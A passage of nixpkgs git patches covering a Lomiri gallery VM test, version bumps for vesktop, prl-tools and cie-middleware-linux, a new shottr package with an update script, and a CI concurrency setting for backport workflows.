             machine.succeed("cp -vr /etc/${imageDataDir}/${file} /root/${builtins.dirOf file}")
 
+            # Start thumbnailer, wait for idle shutdown
+            machine.systemctl("start dbus-com.lomiri.Thumbnailer", "root")
+            machine.wait_until_succeeds(
+                "env XDG_RUNTIME_DIR=/run/user/0 "
+                + "systemctl --user is-active dbus-com.lomiri.Thumbnailer"
+            )
+            machine.wait_for_console_text("thumbnail cache:")
+
+            # Request thumbnail processing, get initial thumbnail image into cache
+            # This can randomly take abit longer, just run it until it succeeds
+            # Touch file to invalidate failure cache
+            machine.wait_until_succeeds(
+                "touch '/root/${file}' && "
+                + "env XDG_RUNTIME_DIR=/run/user/0 "
+                + "gdbus call -e "
+                + "-d com.lomiri.Thumbnailer -o /com/lomiri/Thumbnailer "
+                + "-m com.lomiri.Thumbnailer.GetThumbnail "
+                + "'/root/${file}' "
+                # Same size as source, to reduce processing - we're very close to hitting 20s on slow hardware here
+                + "'@(ii) (500,500)'"
+            )
+
+            machine.wait_for_console_text("Idle timeout reached")
+            machine.wait_until_fails(
+                "env XDG_RUNTIME_DIR=/run/user/0 "
+                + "systemctl --user is-active dbus-com.lomiri.Thumbnailer"
+            )
+
             with subtest("lomiri gallery finds files"):
                 machine.succeed("lomiri-gallery-app >&2 &")
                 machine.wait_for_console_text("qq= AlbumsOverview") # logged when album page actually gets loaded
@@ -243,15 +279,13 @@ in
           machine.sleep(2)
 
           machine.wait_for_text("${imageLabel}") # make sure thumbnail processing worked
+          machine.screenshot("lomiri-gallery_mp4_thumbnail")
 
           machine.succeed("xdotool mousemove 510 380 click 1") # dispatch to system's video handler
           machine.wait_until_succeeds("pgrep -u root -f mpv") # wait for video to start
           machine.sleep(10)
           machine.succeed("pgrep -u root -f mpv") # should still be playing
           machine.screenshot("lomiri-gallery_mp4_dispatch")
-
-          machine.send_key("q")
-          machine.wait_until_fails("pgrep mpv") # wait for video to stop
     '';
   }
   {

From 4b5dabeb1ab5dbb2e464353b4f410552e9619cbb Mon Sep 17 00:00:00 2001
From: Masum Reza <50095635+JohnRTitor@users.noreply.github.com>
Date: Mon, 9 Jun 2025 17:21:03 +0530
Subject: [PATCH 0771/4511] vesktop: 1.5.6 -> 1.5.7 (#415263)

Diff: https://github.com/Vencord/Vesktop/compare/v1.5.6...v1.5.7

Release: https://github.com/Vencord/Vesktop/releases/tag/v1.5.7
(cherry picked from commit de8f30ca6bf3a765558a16f9ae9be6c1c5eaf6a0)
---
 .../ve/vesktop/disable_update_checking.patch       | 14 +++++++-------
 pkgs/by-name/ve/vesktop/package.nix                |  6 +++---
 2 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/pkgs/by-name/ve/vesktop/disable_update_checking.patch b/pkgs/by-name/ve/vesktop/disable_update_checking.patch
index a134dc0fd169..2fcc1fc24be7 100644
--- a/pkgs/by-name/ve/vesktop/disable_update_checking.patch
+++ b/pkgs/by-name/ve/vesktop/disable_update_checking.patch
@@ -1,12 +1,12 @@
 diff --git a/src/main/index.ts b/src/main/index.ts
-index 2e0d6f7..1108c0f 100644
+index 37fd471..d0a9e56 100644
 --- a/src/main/index.ts
 +++ b/src/main/index.ts
-@@ -20,7 +20,6 @@ import { isDeckGameMode } from "./utils/steamOS";
- if (IS_DEV) {
-     require("source-map-support").install();
- } else {
+@@ -18,7 +18,6 @@ import { Settings, State } from "./settings";
+ import { isDeckGameMode } from "./utils/steamOS";
+
+ if (!IS_DEV) {
 -    autoUpdater.checkForUpdatesAndNotify();
  }
- 
- // Make the Vencord files use our DATA_DIR
+
+ console.log("Vesktop v" + app.getVersion());
diff --git a/pkgs/by-name/ve/vesktop/package.nix b/pkgs/by-name/ve/vesktop/package.nix
index 48c57c269c81..de1b9f02c052 100644
--- a/pkgs/by-name/ve/vesktop/package.nix
+++ b/pkgs/by-name/ve/vesktop/package.nix
@@ -24,13 +24,13 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "vesktop";
-  version = "1.5.6";
+  version = "1.5.7";
 
   src = fetchFromGitHub {
     owner = "Vencord";
     repo = "Vesktop";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-hY707k3kpfbDaRsLisVQFUeWgsxkYJ29GTdQtdeC0X4=";
+    hash = "sha256-2YVaDfvhmuUx2fVm9PuMPQ3Z5iu7IHJ7dgF52a1stoM=";
   };
 
   pnpmDeps = pnpm_10.fetchDeps {
@@ -40,7 +40,7 @@ stdenv.mkDerivation (finalAttrs: {
       src
       patches
       ;
-    hash = "sha256-pL4pxIB+tF9Lv5eQdLilvg/T4knjzPqBMbTxoZ3RqbI=";
+    hash = "sha256-C05rDd5bcbR18O6ACgzS0pQdWzB99ulceOBpW+4Zbqw=";
   };
 
   nativeBuildInputs =

From c20a6accc7309e6b4930ad9d6258e25159cbf4f5 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 7 Jun 2025 19:36:24 +0200
Subject: [PATCH 0772/4511] workflows/backport: cancel concurrent runs

When backporting a change to 24.11 and 25.05 at the same time by adding
the two labels immediately *after* merging the PR, three backport jobs
will run concurrently: One for the merge and one for each label added.
Each of those jobs will try to create both PRs, which will lead to two
of the jobs failing for sure.

With a concurrency group and cancelling in-progress jobs, only one of
those jobs will remain. This reduces notification noise.

(cherry picked from commit 6276e0953073bf5db53530ce8c49014593ec499c)
---
 .github/workflows/backport.yml | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/.github/workflows/backport.yml b/.github/workflows/backport.yml
index ea184fb914a4..117dbc09b2ee 100644
--- a/.github/workflows/backport.yml
+++ b/.github/workflows/backport.yml
@@ -9,6 +9,10 @@ on:
   pull_request_target:
     types: [closed, labeled]
 
+concurrency:
+  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
+  cancel-in-progress: true
+
 permissions:
   contents: read
   issues: write

From fcfb053b7b2a2495b274313d03addd79868d89dc Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 8 Jun 2025 06:47:30 +0000
Subject: [PATCH 0773/4511] linuxPackages.prl-tools: 20.3.1-55959 ->
 20.3.2-55975

(cherry picked from commit 30b2aaa0edaa1e99b4031667691307064b752c01)
---
 pkgs/os-specific/linux/prl-tools/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/prl-tools/default.nix b/pkgs/os-specific/linux/prl-tools/default.nix
index 4e7b391f840a..ba2fe72e1277 100644
--- a/pkgs/os-specific/linux/prl-tools/default.nix
+++ b/pkgs/os-specific/linux/prl-tools/default.nix
@@ -43,13 +43,13 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "prl-tools";
-  version = "20.3.1-55959";
+  version = "20.3.2-55975";
 
   # We download the full distribution to extract prl-tools-lin.iso from
   # => ${dmg}/Parallels\ Desktop.app/Contents/Resources/Tools/prl-tools-lin.iso
   src = fetchurl {
     url = "https://download.parallels.com/desktop/v${lib.versions.major finalAttrs.version}/${finalAttrs.version}/ParallelsDesktop-${finalAttrs.version}.dmg";
-    hash = "sha256-/J6NouI2htptG06Undeg1rUfbWUu6q/nV2P9D+sS7OA=";
+    hash = "sha256-eazDR+eSUcp81XdRfYRHIt7E4FNCEjsh0M0wYQQYmMQ=";
   };
 
   hardeningDisable = [

From a66f7fdae3ca84f6fd61059568fb8ac64f645ceb Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Sun, 19 Jan 2025 12:25:44 +0200
Subject: [PATCH 0774/4511] shottr: init at 1.8.1

(cherry picked from commit 74dcbe1cee27642ba5b694821bb4cf8a7e100eb2)
---
 pkgs/by-name/sh/shottr/package.nix | 65 ++++++++++++++++++++++++++++++
 1 file changed, 65 insertions(+)
 create mode 100644 pkgs/by-name/sh/shottr/package.nix

diff --git a/pkgs/by-name/sh/shottr/package.nix b/pkgs/by-name/sh/shottr/package.nix
new file mode 100644
index 000000000000..4de63b3f11a3
--- /dev/null
+++ b/pkgs/by-name/sh/shottr/package.nix
@@ -0,0 +1,65 @@
+{
+  lib,
+  stdenvNoCC,
+  fetchurl,
+  writeShellApplication,
+  cacert,
+  curl,
+  common-updater-scripts,
+  pup,
+  undmg,
+}:
+
+stdenvNoCC.mkDerivation (finalAttrs: {
+  pname = "shottr";
+  version = "1.8.1";
+
+  src = fetchurl {
+    url = "https://shottr.cc/dl/Shottr-${finalAttrs.version}.dmg";
+    hash = "sha256-I3LNLuhIRdjKDn79HWRK2B/tVsV+1aGt/aY442y3r2I=";
+  };
+
+  nativeBuildInputs = [ undmg ];
+
+  sourceRoot = ".";
+
+  installPhase = ''
+    runHook preInstall
+
+    mkdir -p "$out/Applications"
+    cp -R Shottr.app "$out/Applications"
+
+    mkdir -p "$out/bin"
+    ln -s "$out/Applications/Shottr.app/Contents/MacOS/Shottr" "$out/bin/shottr"
+
+    runHook postInstall
+  '';
+
+  passthru.updateScript = lib.getExe (writeShellApplication {
+    name = "shottr-update-script";
+    runtimeInputs = [
+      cacert
+      common-updater-scripts
+      curl
+      pup
+    ];
+    text = ''
+      version="$(curl -s https://shottr.cc/newversion.html \
+        | pup 'a[href*="Shottr-"] attr{href}' \
+        | sed -E 's|/dl/Shottr-||' \
+        | sed -E 's|\.dmg||')"
+      update-source-version shottr "$version"
+    '';
+  });
+
+  meta = {
+    changelog = "https://shottr.cc/newversion.html";
+    description = "MacOS screenshot app with scrolling screenshots, OCR, annotation and measurement instruments";
+    homepage = "https://shottr.cc/";
+    license = lib.licenses.unfree;
+    mainProgram = "shottr";
+    maintainers = with lib.maintainers; [ donteatoreo ];
+    platforms = lib.platforms.darwin;
+    sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];
+  };
+})

From 9f7e97bf0f2cf07b3f8ccd46128ddfff8be5731c Mon Sep 17 00:00:00 2001
From: rnhmjoj <rnhmjoj@inventati.org>
Date: Sat, 7 Jun 2025 16:12:28 +0200
Subject: [PATCH 0775/4511] cie-middleware-linux: 1.5.6 -> 1.5.9

(cherry picked from commit 165ad6efdc86942cb7a0639549b5fdd970c4cc4c)
---
 .../by-name/ci/cie-middleware-linux/deps.json | 138 +++----
 .../ci/cie-middleware-linux/package.nix       |  13 +-
 .../use-system-podofo.patch                   | 343 ------------------
 3 files changed, 75 insertions(+), 419 deletions(-)
 delete mode 100644 pkgs/by-name/ci/cie-middleware-linux/use-system-podofo.patch

diff --git a/pkgs/by-name/ci/cie-middleware-linux/deps.json b/pkgs/by-name/ci/cie-middleware-linux/deps.json
index a1554a15e26f..593cd2e1b767 100644
--- a/pkgs/by-name/ci/cie-middleware-linux/deps.json
+++ b/pkgs/by-name/ci/cie-middleware-linux/deps.json
@@ -14,28 +14,28 @@
    "jar": "sha256-CV/R3HeIjAc/C+OaAYFW7lJnInmLCd6eKF7yE14W6sQ=",
    "pom": "sha256-NQkZQkMk4nUKPdwvobzmqQrIziklaYpgqbTR1uSSL/4="
   },
-  "com/diffplug/durian#durian-swt.os/4.2.2": {
-   "jar": "sha256-a1Mca0vlgaizLq2GHdwVwsk7IMZl+00z4DgUg8JERfQ=",
-   "module": "sha256-rVlQLGknZu48M0vkliigDctNka4aSPJjLitxUStDXPk=",
-   "pom": "sha256-GzxJFP1eLM4pZq1wdWY5ZBFFwdNCB3CTV4Py3yY2kIU="
+  "com/diffplug/durian#durian-swt.os/4.3.0": {
+   "jar": "sha256-geK2Oafkvm3JtyRXE88G9cq1HynbLha5tXZFyW/eKIQ=",
+   "module": "sha256-IFNqlfL+sr9DBRKMaq7Lb9idxFeYqchfJgK4qAnXUNs=",
+   "pom": "sha256-Q1z/VXiZht7arXF/aPuo1UgklHhWLc2EsirU1lZvRAs="
   },
-  "com/diffplug/spotless#com.diffplug.spotless.gradle.plugin/6.25.0": {
-   "pom": "sha256-9FyCsS+qzYWs1HTrppkyL6XeqIQIskfQ5L3pQSkIIjo="
+  "com/diffplug/spotless#com.diffplug.spotless.gradle.plugin/7.0.2": {
+   "pom": "sha256-7R3td6KWpv4hpQJ5ySbAe+FK98CMJDfTaFxw/Pa7oC0="
   },
-  "com/diffplug/spotless#spotless-lib-extra/2.45.0": {
-   "jar": "sha256-YCy7zTgo7pz7LjCn+bMDNcaScTB3FBTUzdKU0h/ly2c=",
-   "module": "sha256-9pnkNfTlzgPbYJpHaO6wNj1uB8ZfvPrx/GKcTnbuf7A=",
-   "pom": "sha256-5x2LkRDdSNLn9KVLi/uozlWpbmteu9T0OpJGZJz1b7A="
+  "com/diffplug/spotless#spotless-lib-extra/3.0.2": {
+   "jar": "sha256-sOd3RtYz1EXnhImsPQitLqGzU3xNBk5KvkbMQtYjA+s=",
+   "module": "sha256-vSVeQkQbWRehU8U9z5fP08IEevN2zF3Yu1Z/aEAWtFk=",
+   "pom": "sha256-IVesGayscKzQRQH8WbvJZNsZD1tx5O1e/s6o5c9o7Os="
   },
-  "com/diffplug/spotless#spotless-lib/2.45.0": {
-   "jar": "sha256-sllply4dmAKAyirlKRl+2bMWCq5ItQbPGTXwG9Exhmc=",
-   "module": "sha256-+x+8+TUAczrHWcp99E8P9mVTEze0LaAS4on/CINNiQ8=",
-   "pom": "sha256-WKd8IsQLIc8m29tCEwFu9HrM9bBwchfHkyqQ9D+PMNw="
+  "com/diffplug/spotless#spotless-lib/3.0.2": {
+   "jar": "sha256-P5p/38WwOsIIlINBcJEMFcTyuE7UzjZ3iYowetWJg3w=",
+   "module": "sha256-E1WLrsCR6gDxYmXNNSOBePT+ejv61zXel214XUF/ss0=",
+   "pom": "sha256-jxtFo4m6Jeel8DvZ8KS9BKp+dHXgku6C1VUJYrLPdV8="
   },
-  "com/diffplug/spotless#spotless-plugin-gradle/6.25.0": {
-   "jar": "sha256-9euQikxdpGKZ51Q/qtoEAtLEt31Yx7Qy1Lblk0mygKM=",
-   "module": "sha256-RoHRe/PJIF2DeOynBcAAywzJjcx40DATy2iJjGvSx0Q=",
-   "pom": "sha256-q1ZuPYS2w/rHqPySXy279TzZdZywOvPAfQ3EN9OXqNo="
+  "com/diffplug/spotless#spotless-plugin-gradle/7.0.2": {
+   "jar": "sha256-WaNMT4SkjUyNkp4viZBjaeZUduwEmaQ96Hw+QSeXfNU=",
+   "module": "sha256-rxC8mydsNqlNcRh+kVhwJ1yyRVZTntzqGYpYL30Tsws=",
+   "pom": "sha256-JyVoPfbvTNSIr+sgANqJIpQcqQ513D49uFIupxWKaMQ="
   },
   "com/googlecode/concurrent-trees#concurrent-trees/2.6.1": {
    "jar": "sha256-BONySYTipcv1VgbPo3KlvT08XSohUzpwBOPN5Tl2H6U=",
@@ -59,31 +59,31 @@
    "module": "sha256-akesUDZOZZhFlAH7hvm2z832N7mzowRbHMM8v0xAghg=",
    "pom": "sha256-rrO3CiTBA+0MVFQfNfXFEdJ85gyuN2pZbX1lNpf4zJU="
   },
-  "commons-codec#commons-codec/1.16.0": {
-   "jar": "sha256-VllfsgsLhbyR0NUD2tULt/G5r8Du1d/6bLslkpAASE0=",
-   "pom": "sha256-bLWVeBnfOTlW/TEaOgw/XuwevEm6Wy0J8/ROYWf6PnQ="
+  "commons-codec#commons-codec/1.17.0": {
+   "jar": "sha256-9wDegKwnDQNE/ep0aCAdi5yAXlxkgzHDYZ8u4GfM/Fk=",
+   "pom": "sha256-wBxM2l5Aj0HtHYPkoKFwz1OAG2M4q6SfD5BHhrwSFPw="
   },
-  "dev/equo/ide#solstice/1.7.5": {
-   "jar": "sha256-BuFLxDrMMx2ra16iAfxnNk7RI/mCyF+lEx8IF+1lrk8=",
-   "module": "sha256-eYp7cGdyE27iijLt2GOx6fgWE6NJhAXXS+ilyb6/9U8=",
-   "pom": "sha256-20U7urXn2opDE5sNzTuuZykzIfKcTZH1p5XZ/2xS3d8="
+  "dev/equo/ide#solstice/1.8.1": {
+   "jar": "sha256-bluizOgTvh1xzNwuzz5JJxsU5pG/u7GhFM86MOdzsQ0=",
+   "module": "sha256-pnYDnqavCPJXtG4Hwr8VcaRqTUtbnMuGw/yY0H+v6hs=",
+   "pom": "sha256-arSo7K4qu9NrkZ0Lm5+yTBdxSPE+U2TJegxu4Ro/xCY="
   },
-  "org/apache#apache/29": {
-   "pom": "sha256-PkkDcXSCC70N9jQgqXclWIY5iVTCoGKR+mH3J6w1s3c="
+  "org/apache#apache/31": {
+   "pom": "sha256-VV0MnqppwEKv+SSSe5OB6PgXQTbTVe6tRFIkRS5ikcw="
   },
-  "org/apache/commons#commons-parent/58": {
-   "pom": "sha256-LUsS4YiZBjq9fHUni1+pejcp2Ah4zuy2pA2UbpwNVZA="
+  "org/apache/commons#commons-parent/69": {
+   "pom": "sha256-1Q2pw5vcqCPWGNG0oDtz8ZZJf8uGFv0NpyfIYjWSqbs="
   },
-  "org/eclipse/jgit#org.eclipse.jgit-parent/6.7.0.202309050840-r": {
-   "pom": "sha256-u56FQW2Y0HMfx2f41w6EaAQWAdZnKuItsqx5n3qjkR8="
+  "org/eclipse/jgit#org.eclipse.jgit-parent/6.10.0.202406032230-r": {
+   "pom": "sha256-8tNTmgp5Iv15RwgsGQHSCQ2uB0mGsi2r2XO0OYzR6i4="
   },
-  "org/eclipse/jgit#org.eclipse.jgit/6.7.0.202309050840-r": {
-   "jar": "sha256-tWRHfQkiQaqrUMhKxd0aw3XAGCBE1+VlnTpgqQ4ugBo=",
-   "pom": "sha256-BNB83b8ZjfpuRIuan7lA94HAEq2T2eqCBv4KTTplwZI="
+  "org/eclipse/jgit#org.eclipse.jgit/6.10.0.202406032230-r": {
+   "jar": "sha256-Q/kvOttoGl8wBrl56NNBwSqM/YAp8ofEK88KgDd1Za4=",
+   "pom": "sha256-BVlUQr62ogYQi2c6qcZpLIPkHfGDF33GcROxzD9Sgd0="
   },
-  "org/eclipse/platform#org.eclipse.osgi/3.18.300": {
-   "jar": "sha256-urlD5Y7dFzCSOGctunpFrsni2svd24GKjPF3I+oT+iI=",
-   "pom": "sha256-4nl2N1mZxUJ/y8//PzvCD77a+tiqRRArN59cL5fI/rQ="
+  "org/eclipse/platform#org.eclipse.osgi/3.18.500": {
+   "jar": "sha256-gLJ11YN5cjspHqZQJJzDgJyPELNPeKr5iBMs1tQ0q04=",
+   "pom": "sha256-4o9b4Azk7Sx+SAnsrQW5UwfzWhflhWAHhri97juk2Wg="
   },
   "org/jetbrains#annotations/13.0": {
    "jar": "sha256-rOKhDcji1f00kl7KwD5JiLLA+FFlDJS4zvSbob0RFHg=",
@@ -114,9 +114,9 @@
    "jar": "sha256-VemJxRK4CQd5n4VDCfO8d4LFs9E5MkQtA3nVxHJxFQQ=",
    "pom": "sha256-fin79z/fceBnnT3ufmgP1XNGT6AWRKT1irgZ0sCI09I="
   },
-  "org/junit#junit-bom/5.9.3": {
-   "module": "sha256-tAH9JZAeWCpSSqU0PEs54ovFbiSWHBBpvytLv87ka5M=",
-   "pom": "sha256-TQMpzZ5y8kIOXKFXJMv+b/puX9KIg2FRYnEZD9w0Ltc="
+  "org/junit#junit-bom/5.10.2": {
+   "module": "sha256-3iOxFLPkEZqP5usXvtWjhSgWaYus5nBxV51tkn67CAo=",
+   "pom": "sha256-Fp3ZBKSw9lIM/+ZYzGIpK/6fPBSpifqSEgckzeQ6mWg="
   },
   "org/slf4j#slf4j-api/1.7.36": {
    "jar": "sha256-0+9XXj5JeWeNwBvx3M5RAhSTtNEft/G+itmCh3wWocA=",
@@ -137,31 +137,31 @@
   }
  },
  "https://repo.maven.apache.org/maven2": {
-  "com/google/code/gson#gson-parent/2.11.0": {
-   "pom": "sha256-issfO3Km8CaRasBzW62aqwKT1Sftt7NlMn3vE6k2e3o="
+  "com/google/code/gson#gson-parent/2.12.1": {
+   "pom": "sha256-yeewt+Mb574iaEl5wGgAHGUssRPE5u2JTjm2Q97gf8E="
   },
-  "com/google/code/gson#gson/2.11.0": {
-   "jar": "sha256-V5KNblpu3rKr03cKj5W6RNzkXzsjt6ncKzCcWBVSp4s=",
-   "pom": "sha256-wOVHvqmYiI5uJcWIapDnYicryItSdTQ90sBd7Wyi42A="
+  "com/google/code/gson#gson/2.12.1": {
+   "jar": "sha256-6+4T1ft0d81/HMAQ4MNW34yoBwlxUkjal/eeNcy0++w=",
+   "pom": "sha256-C1c17IX0UoLx4sdpd5gAQnsVCoFj9AUJOpKAtxyrGXg="
   },
-  "com/google/errorprone#error_prone_annotations/2.27.0": {
-   "jar": "sha256-JMkjNyxY410LnxagKJKbua7cd1IYZ8J08r0HNd9bofU=",
-   "pom": "sha256-TKWjXWEjXhZUmsNG0eNFUc3w/ifoSqV+A8vrJV6k5do="
+  "com/google/errorprone#error_prone_annotations/2.36.0": {
+   "jar": "sha256-d0QOJwsLyaJJkDxaB2w2pyLEiGyk9CZ18pA6HFPtYaU=",
+   "pom": "sha256-15z9N8hfdta3VMdQHuHchEe3smQsI4LXeCUhZr0zHpw="
   },
-  "com/google/errorprone#error_prone_parent/2.27.0": {
-   "pom": "sha256-+oGCnQSVWd9pJ/nJpv1rvQn4tQ5tRzaucsgwC2w9dlQ="
+  "com/google/errorprone#error_prone_parent/2.36.0": {
+   "pom": "sha256-Okz8imvtYetI6Wl5b8MeoNJwtj5nBZmUamGIOttwlNw="
   },
   "commons-io#commons-io/2.18.0": {
    "jar": "sha256-88oPjWPEDiOlbVQQHGDV7e4Ta0LYS/uFvHljCTEJz4s=",
    "pom": "sha256-Y9lpQetE35yQ0q2yrYw/aZwuBl5wcEXF2vcT/KUrz8o="
   },
-  "commons-logging#commons-logging/1.3.3": {
-   "jar": "sha256-WCj5bAnYhvmxoJk8eASyfPT87IU0UXFk9RN6yLZ+qbk=",
-   "pom": "sha256-El1hQurD93REC6cCwF8o+eCYxS0QcSrhFJast3EGs7o="
+  "commons-logging#commons-logging/1.3.4": {
+   "jar": "sha256-vC3+MvHvBlCeagZRRMGt97Qg6r8RqH8wvRJ/j6ozIBY=",
+   "pom": "sha256-1L2jSJKqzL9PrTP8MjqKqQfvnXmYRlnaJJRMCoa/CGU="
   },
-  "net/java/dev/jna#jna/5.15.0": {
-   "jar": "sha256-pWQVjSirUSf8apWAKO1UJ5/gmZZixGQltqOwmipSCU0=",
-   "pom": "sha256-J2YC/zZ6TDkVXa7MHoy1T0eJ5dgN+Qo6i2YD8d61ngU="
+  "net/java/dev/jna#jna/5.17.0": {
+   "jar": "sha256-s6lAjnxR4I7w47/MCPRD9uwPYZG6jNfBjVPSsi5b28A=",
+   "pom": "sha256-UBoP8F2EpK0Q9t4lvpT0k5i3CjG+jzoO2fTGtE++/uQ="
   },
   "org/apache#apache/32": {
    "pom": "sha256-z9hywOwn9Trmj0PbwP7N7YrddzB5pTr705DkB7Qs5y8="
@@ -169,26 +169,26 @@
   "org/apache#apache/33": {
    "pom": "sha256-14vYUkxfg4ChkKZSVoZimpXf5RLfIRETg6bYwJI6RBU="
   },
-  "org/apache/commons#commons-parent/71": {
-   "pom": "sha256-lbe+cPMWrkyiL2+90I3iGC6HzYdKZQ3nw9M4anR6gqM="
+  "org/apache/commons#commons-parent/72": {
+   "pom": "sha256-Q0Xev8dnsa6saKvdcvxn0YtSHUs5A3KhG2P/DFhrIyA="
   },
   "org/apache/commons#commons-parent/78": {
    "pom": "sha256-Ai0gLmVe3QTyoQ7L5FPZKXeSTTg4Ckyow1nxgXqAMg4="
   },
-  "org/apache/pdfbox#fontbox/3.0.3": {
-   "jar": "sha256-ZWkMPzmwShTRLBf0mYwVGGzod9Pi7CIscIV348wCgDA=",
-   "pom": "sha256-sik+UDqncEMGEVD4hGg9f2FMz1Fjvi0PBSyinzx2d+I="
+  "org/apache/pdfbox#fontbox/3.0.4": {
+   "jar": "sha256-Le7GIy9dbTsxJ2WS0xaArpcir1fSTLD3bacOK6DpnhI=",
+   "pom": "sha256-8MzDMOmyDYlXigqHArR6OZvNYojCOG10/6uPjjAoROg="
   },
-  "org/apache/pdfbox#pdfbox-io/3.0.3": {
-   "jar": "sha256-Ej6jGHtJfFTmYdUMPIZ0eb93Zo/0UOUHEMZY8rtGh7o=",
-   "pom": "sha256-EXAbuMWnNaSzFA9zroM6KBzqCeO8P583kbmpenRekNQ="
+  "org/apache/pdfbox#pdfbox-io/3.0.4": {
+   "jar": "sha256-ep1HRvLhOh4i9O/kf7r5mXY8rqQXSFNa+ToB7txQ9VQ=",
+   "pom": "sha256-YLURdX737TBIv4LH2ClvcdC8RwAgEYQzqzs+OEC/jqU="
   },
-  "org/apache/pdfbox#pdfbox-parent/3.0.3": {
-   "pom": "sha256-yGXhzv8Jq1Kwh+cmDE8V025bW4vk/+IERvqkCiygvcw="
+  "org/apache/pdfbox#pdfbox-parent/3.0.4": {
+   "pom": "sha256-w5j++zUez/mTEYCNftU0bnHzVrETS9c6JQTLgXB9tFE="
   },
-  "org/apache/pdfbox#pdfbox/3.0.3": {
-   "jar": "sha256-W+ONLsgWkbBdU163IN5NxWbF0H5aBHMfoAZo0VOotKY=",
-   "pom": "sha256-vgiV9rLCDzEdYjXJam/SqsECsxkE0/TDnqUll3WwcAg="
+  "org/apache/pdfbox#pdfbox/3.0.4": {
+   "jar": "sha256-CaD/J9b4Sh3EAGDLCgHezyrU75HDa8kbmDbCVL6KrkU=",
+   "pom": "sha256-098DLfK90jT+NwMO+sNXa6Yj/Jf1ERNUxMUq13dfkOQ="
   },
   "org/junit#junit-bom/5.11.0-M2": {
    "module": "sha256-hkd6vPSQ1soFmqmXPLEI0ipQb0nRpVabsyzGy/Q8LM4=",
diff --git a/pkgs/by-name/ci/cie-middleware-linux/package.nix b/pkgs/by-name/ci/cie-middleware-linux/package.nix
index 7647f20c69a7..ba54e6231fa0 100644
--- a/pkgs/by-name/ci/cie-middleware-linux/package.nix
+++ b/pkgs/by-name/ci/cie-middleware-linux/package.nix
@@ -21,13 +21,13 @@
 
 let
   pname = "cie-middleware-linux";
-  version = "1.5.6";
+  version = "1.5.9";
 
   src = fetchFromGitHub {
     owner = "M0rf30";
     repo = "cie-middleware-linux";
     rev = version;
-    sha256 = "sha256-2P/1hQTmeQ6qE7RgAeLOZTszcLcIpa2XX1S2ahXRHcc=";
+    hash = "sha256-2UMKxanF35oBNBtIqfU46QUYJwXiTU1xCrCMqzqetgI=";
   };
 
   gradle = gradle_8;
@@ -61,8 +61,6 @@ stdenv.mkDerivation {
     libxml2
   ];
 
-  patches = [ ./use-system-podofo.patch ];
-
   postPatch = ''
     # substitute the cieid command with this $out/bin/cieid
     substituteInPlace libs/pkcs11/src/CSP/AbilitaCIE.cpp \
@@ -114,6 +112,7 @@ stdenv.mkDerivation {
     popd
 
     # Install the Java application
+    ls cie-java/build/libs/CIEID-standalone.jar
     install -Dm755 cie-java/build/libs/CIEID-standalone.jar \
                    "$out/share/cieid/cieid.jar"
 
@@ -123,11 +122,11 @@ stdenv.mkDerivation {
       --add-flags "-Djna.library.path='$out/lib:${libraries}'" \
       --add-flags '-Dawt.useSystemAAFontSettings=on' \
       --add-flags "-cp $out/share/cieid/cieid.jar" \
-      --add-flags "it.ipzs.cieid.MainApplication"
+      --add-flags "app.m0rf30.cieid.MainApplication"
 
     # Install other files
-    install -Dm644 data/cieid.desktop "$out/share/applications/cieid.desktop"
-    install -Dm755 data/logo.png "$out/share/pixmaps/cieid.png"
+    install -Dm644 data/app.m0rf30.cieid.desktop -t "$out/share/applications"
+    install -Dm755 data/app.m0rf30.cieid.svg -t "$out/share/pixmaps"
     install -Dm644 LICENSE "$out/share/licenses/cieid/LICENSE"
   '';
 
diff --git a/pkgs/by-name/ci/cie-middleware-linux/use-system-podofo.patch b/pkgs/by-name/ci/cie-middleware-linux/use-system-podofo.patch
deleted file mode 100644
index 52806d4f96e8..000000000000
--- a/pkgs/by-name/ci/cie-middleware-linux/use-system-podofo.patch
+++ /dev/null
@@ -1,343 +0,0 @@
-commit c9ac4243a6def08790bbf5552bb31894169596ca
-Author: rnhmjoj <rnhmjoj@inventati.org>
-Date:   Wed Apr 3 12:54:58 2024 +0200
-
-    use system podofo
-
-diff --git a/libs/meson.build b/libs/meson.build
-index 3ee31c1..5022ba8 100644
---- a/libs/meson.build
-+++ b/libs/meson.build
-@@ -16,21 +16,15 @@ curl_dep = dependency('libcurl')
- fontconfig_dep = dependency('fontconfig')
- freetype_dep = dependency('freetype2')
- png_dep = dependency('libpng')
--podofo_dep = cpp.find_library('libpodofo', dirs: libdir)
-+podofo_dep = dependency('libpodofo')
- libxml2_dep = dependency('libxml-2.0', required: false)
- xml2_dep = dependency('xml2', required: false)
- zlib_dep = dependency('zlib')
- 
- inc_so = include_directories('pkcs11/src/.', 'shared/src/')
- 
--inc_a = include_directories(
--    'sign-sdk/include',
--    'sign-sdk/include/podofo',
--    'sign-sdk/include/podofo/include',
--    'sign-sdk/include/podofo/include/podofo',
--    'sign-sdk/src',
--    'shared/src/',
--)
-+inc_a = include_directories('sign-sdk/include', 'sign-sdk/src', 'shared/src/')
-+
- cie_pkcs11_sources = [
-     'shared/src/Util/log.cpp',
-     'shared/src/Util/funccallinfo.cpp',
-diff --git a/libs/sign-sdk/include/PdfSignatureGenerator.h b/libs/sign-sdk/include/PdfSignatureGenerator.h
-index 93ab445..65d438f 100644
---- a/libs/sign-sdk/include/PdfSignatureGenerator.h
-+++ b/libs/sign-sdk/include/PdfSignatureGenerator.h
-@@ -10,9 +10,7 @@
- #ifndef _PDFSIGNATUREGENERATOR_H_
- #define _PDFSIGNATUREGENERATOR_H_
- #include "Util/UUCByteArray.h"
--#include "podofo/doc/PdfSignOutputDevice.h"
--#include "podofo/doc/PdfSignatureField.h"
--#include "podofo/podofo.h"
-+#include <podofo/podofo.h>
- 
- using namespace PoDoFo;
- using namespace std;
-@@ -60,7 +58,11 @@ class PdfSignatureGenerator {
